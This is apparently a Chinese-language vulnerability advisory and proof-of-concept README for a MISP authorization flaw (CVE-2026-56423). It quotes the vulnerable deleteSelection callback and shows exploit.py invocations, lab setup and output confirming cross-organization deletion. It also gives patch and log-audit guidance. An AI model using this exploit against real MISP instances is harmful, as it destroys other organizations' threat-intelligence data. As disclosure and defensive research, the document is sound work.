
| CVE | CVE-2026-56423 |
| 产品 | MISP(恶意软件信息共享平台)核心 |
| 受影响版本 | MISP CE/EE ≤ 2.5.41 |
| 修复版本 | 2.5.42 |
| 类型 | CWE-862 — 授权缺失(对象级访问控制失效) |
| CVSS 3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 认证 | 已认证,低权限(任何具有 perm_add 的角色,如"用户") |
| 发布时间 | 2026-06-22 |
| 状态 | 已确认 — 贡献者可在 2.5.40 上删除其他组织的报告;在 2.5.42 上被拒绝 |
app/Controller/EventReportsController.php(标签 v2.5.40):
public function deleteSelection($id = null)
{
return $this->CRUD->deleteSelection($id, [
'modelName' => 'EventReport',
...
'checkModifyCallback' => function($itemId) {
return $this->userRole['perm_add']; // ignores $itemId → global role bool
},
]);
}
CRUDComponent::deleteSelection 对每个选中的 id 调用此 checkModifyCallback,并在其返回 true 时删除对象:
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }
由于回调返回 $this->userRole['perm_add'] —— 一个全局布尔值,对于默认的"用户"角色为 true —— 因此从未检查目标报告的所有权。相比之下,单个对象的 delete($id) 操作正确调用了 EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete'),并拒绝外来报告。
SharingGroupsController::deleteSelection 也存在同样的问题,使用了 perm_sharing_group。
2.5.42 中的修复(提交 ada02fa、f99b3f1)将回调替换为每项 EventReport::fetchIfAuthorized($user, $itemId, 'delete')。
完整分析请参见 ANALYSIS.md。
perm_add 的账户——内置的 用户 角色,在多组织实例中授予普通贡献者。MISP.enable_themes = true。deleteSelection 操作在 ACL 中受 AND(theming_enabled, perm_add) 控制,其中 theming_enabled 映射到 MISP.enable_themes 设置。该设置默认关闭,但许多实例上会启用此普通 UI 功能标志(它为 v2 索引/列表 UI 提供支持)。如果禁用该设置,则操作会在有缺陷的回调运行前返回 HTTP 403。python3 exploit.py https://127.0.0.1:443 \
--attacker-key <contributor_authkey> \
--admin-key <admin_authkey_used_only_to_confirm_the_target> \
--report-id <id_of_a_report_owned_by_another_org>
[1] contributor legit delete/2 -> HTTP 404 (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200 {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
cd lab
./setup.sh # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
--attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"
# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh
| 请求(低权限贡献者,外来报告) | v2.5.40 | v2.5.42 |
|---|---|---|
正确保护的 delete/{id} | 404 拒绝 | 404 拒绝 |
同一报告的 deleteSelection | 200 — 已硬删除 | 403 — “无法删除”;报告完整 |
同一个请求在修复前后从成功变为拒绝,而正确保护的每对象删除在两个版本中都被拒绝——证明该漏洞是 deleteSelection 中缺少每对象授权,而非账户配置错误。完整记录见 EVIDENCE.txt。
共享 MISP 实例上的任何低权限用户都可以不可逆地硬删除事件报告(附加在威胁情报事件上的分析师叙述)以及属于其他组织的共享组,影响整个实例。这是 CERT、ISAC 和 SOC 所依赖的威胁情报平台的跨租户完整性/可用性受损。
EventReport::fetchIfAuthorized($user, $itemId, 'delete');对共享组应用了相同的模式。审计 MISP 日志中 EventReports/deleteSelection(和 SharingGroups/deleteSelection)请求,注意操作用户所属组织与被删除对象所属组织不同的情况。
研究与 PoC 由 Caio Fabrício (@BiiTts) 完成。
MIT — 参见 LICENSE。